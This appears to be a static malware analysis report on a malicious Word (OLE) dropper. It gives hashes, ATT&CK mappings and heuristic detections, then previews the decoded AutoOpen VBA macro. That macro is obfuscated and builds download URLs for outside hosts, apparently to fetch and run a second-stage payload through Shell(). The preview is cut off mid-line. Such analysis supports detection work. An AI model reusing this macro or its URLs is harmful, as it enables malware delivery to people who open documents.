Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d2e24f06d9d1850…

MALICIOUS

Office (OLE)

102.0 KB Created: 2018-02-13 08:03:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 9177efbb3291f39a75c682aff7ccbccc SHA-1: 24680b76407119dd8c8cb040ec931f78340358e5 SHA-256: 4d2e24f06d9d18502b4937c13c0d365f4d64c8f5f2664f6bf38f658883695400
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. The AutoOpen macro is obfuscated and designed to execute code. The VBA script attempts to construct and execute a URL, likely to download and run a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6447596-0' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6447596-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6447596-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://38r+38rwPMNfdEIMoqLAsjiFMPPjuAjn In document text (OLE body)
    • http://www.rangePC2+PC2lopPC2+PC2In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27302 bytes
SHA-256: 31526d6136a4c2bf4cba40d359ed61f2eb5c15767ef25491acd915718da24e36
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jjZhkZQvkvRcaq"
Sub AutoOpen()
On Error Resume Next
VjjAiDuhw = qCjiKjujDNsikz - Sgn(vmnSzasCnnTm) - (9233204 - Tan(9527071) / 3024529 - ChrW(LUFqwMJKvj))
ANtcrzmLj = GOwXwAv - Sgn(qwwmnihKiGrjd) - (5472017 - Tan(4588418) / 3786599 - ChrW(iILvTAkOw))
bwViszQNT = iOaOvjVfTAoiqf - Sgn(TrkzXwNXpDkpwO) - (8728306 - Tan(3585806) / 2992388 - ChrW(ZlME))
Application.Run "jPKuRDw", vzvkdFlf
uQPwUROKz = plZG - Sgn(OwBUqlLLqZ) - (3329689 - Tan(5098264) / 6445240 - ChrW(VRtkOzUk))
YbwJfFizK = nmBLYQVTiFYZ - Sgn(qjl) - (5318739 - Tan(7794635) / 9303694 - ChrW(lIl))
dXaYjGFjr = cnvXJt - Sgn(PuOOLzXFd) - (8770685 - Tan(5798880) / 8090138 - ChrW(Jdi))
End Sub
Function vzvkdFlf()
On Error Resume Next
HEkDIFnTwkq = VscpiWzsXW - Sgn(mFrO) - (5949659 - Tan(1954593) / 470035 - ChrW(qKE))
OHbABJwdVwq = ZLKNQiJwrv - Sgn(CIqDiktiqv) - (7645940 - Tan(676136) / 9479761 - ChrW(fYsMjZVRNDiU))
tCTFQNZwY = jONYN - Sgn(YpGoGTTzbNjl) - (1510287 - Tan(2521145) / 4998532 - ChrW(FRlLVLlunZO))
zubYSNEXqi = QPPwDQLjlSzSAM + Mid(JjLNbLLXBTtNG + "fQXWpbII'/?http://38r+38rwPMNfdEIMoqLAsjiFMPPjuAjn" + aORspCftCCOkQ, 9, 18)
TzbamA = AhEsn - Sgn(kMMu) - (7798240 - Tan(5306416) / 2410327 - ChrW(jswtRhQW))
AwIiijL = HsK - Sgn(jlWsK) - (9006075 - Tan(2392094) / 6793178 - ChrW(oTo))
iSwazpI = TREbSHmmPtD - Sgn(wWvdfzAcw) - (590336 - Tan(5237761) / 7910068 - ChrW(djA))
pHWmzjz = JTdXZNYwYjl + Mid(MctEiRWHjwIwm + "CAvXIzLClj2+PC2hPC2+38r+38'+'rPC2tPC2+PC2tpJr4+Jr4://mylPC2+PC2an'+'PC2'+'+'+'PC2dPC2+PC2l'+'ovPC2+PC2e.PC2+PC2cPC2+PC2JDWzPXWcIwzXbjSJMlJnTJmZXaj" + UND, 11, 109)
hCZkokTpijj = amzmoYWPIzME - Sgn(PEXlj) - (4228962 - Tan(7123622) / 2855922 - ChrW(jhEO))
MYzbibMz = trwIB - Sgn(zKm) - (4929240 - Tan(5829191) / 551083 - ChrW(vwQTtThEHRfGt))
jqRspma = aSCSiaMcYMoK - Sgn(JFR) - (9533633 - Tan(1456222) / 6306182 - ChrW(pPrPokjHm))
PHlliKwSi = cEfFjNwRaokY + Mid(RrTROYQF + "nTqptFlMOoiYpaUjpdGsErPC2+PC2= Jr4+Jr4HYb PC2+PC2 http://www.rangePC2+PC2lopPC2+PC2'+zKOjO" + qTLpQqPZ, 23, 63)
GtTzuZlMH = FqzunCpjNhqLE - Sgn(XpnkFTHIwEubp) - (2879917 - Tan(2913363) / 3211471 - ChrW(dwiccaJrjcolHi))
ITGwLCOFrU = VYbUm - Sgn(Yim) - (9407069 - Tan(8874596) / 8961873 - ChrW(MMa))
aZcaTn = zlMNWRu - Sgn(itYrTX) - (7814367 - Tan(5147889) / 6567822 - ChrW(Rnud))
XVScaZRcXWj = RBINZrjHwc + Mid(SaEiiRYwpU + "ILPC2+PC2(HPC2+PC2YbPC2+PCJr4+Jr42n'+'HYPC2+PC2b+HPClzpSThHXDoQDDq" + aSwKaniz, 3, 50)
DinPbz = zjRJjGKHoVlE - Sgn(dFcMqXYPtU) - (6140983 - Tan(1755176) / 1084037 - ChrW(UTWmtvwT))
AbkiEn = nKiAkflzEDMz - Sgn(kWirjZFOmA) - (5716875 - Tan(6406905) / 8171300 - ChrW(RisJiJPoBHXn))
NwzScnkm = IXbFtbniAIC - Sgn(YObBKF) - (3704244 - Tan(8926412) / 8407393 - ChrW(PMudoRv))
sNWBS = ETvfhjJiTBUnWR + Mid(zGjFIIAnSZFTSG + "LXFCjzDOsBPikXX2+PC2.vnPC2'+'+PC2/UpPC2+PC2RVLPC2+PC2yPC2+PC2'+ovIvX" + maTqItamNiVPE, 16, 48)
PSVUw = KPnWnf - Sgn(iViRjqPUNrm) - (354031 - Tan(7846259) / 4305846 - ChrW(TtcIdUQzzHjwkV))
PrMvVE = hRmoIYb - Sgn(EwchqBFnT) - (8490209 - Tan(2115782) / 9095440 - ChrW(tiCRRVkKzufzv))
obknriZ = UPzOa - Sgn(QXLAmZzsUQEZa) - (4578129 - Tan(7692058) / 7528486 - ChrW(XqDrSFCzius))
atphfasRrl = WUspwrKukF + Mid(ERa + "TBPC2+PC2 = U38r+38rhPC2+P'+'C2LnsPC2+PC2'+'adaPCiAEQPuAZUHTffcRL" + uKuonrCDtspH, 2, 48)
AaRPG = hswfzcV - Sgn(rJWWCr) - (8270959 - Tan(1084501) / 2332826 - ChrW(fCK))
CFjLdvdDAz = bMSktlPRCdDNwj - Sgn(sBVwvMuI) - (6809977 - Tan(946540) / 1072891 - ChrW(UcUO))
vzWEbX = IjRlNO - Sgn(jzZHtTpsHfT) - (58228 - Tan(1909756) / 1099728 - ChrW(mhEifn))
wOQCmiZMSjn = XTdkDdVTBirX + Mid(pjpGZXVhjcYXA + "ouuDapNbcjGXFnuniTkIwbTmqwiaVp://toPC2+PC2urPC2+PC2Jr4+'+'Jr4'+'spacegPC2+PC2ePC2+PC2orPC2+PC2giaPC2+PC2.cJr4+J'+'r4o38r+38rmPC2+Jr4+Jr4PC2/PC2+PC2avJr4+bwrXaFqW" + SIDDfFHwzapWuS, 30, 124)
aMYhM = wEDlaifjdpr - Sgn(NYsSzuoSPajF) - (5954
... (truncated)

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